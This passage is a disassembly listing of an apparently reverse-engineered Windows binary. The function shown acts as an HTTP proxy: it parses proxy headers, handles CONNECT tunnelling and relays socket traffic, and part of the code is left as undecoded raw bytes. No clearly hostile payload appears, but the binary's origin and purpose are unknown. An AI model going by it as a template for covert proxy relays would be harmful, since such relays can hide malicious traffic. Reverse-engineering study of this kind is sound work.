		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445230 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F70
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445230 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C94 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		xor	ebx, ebx
		mov	esi, offset asc_445230 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B15Ah
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 69036FE8h, 333D9071h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 69031BE8h, 333D9071h
		dd 75000027h, 90016A0Dh, 3E8B3AE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
		lea	ecx, [esp+1Ch+arg_28]
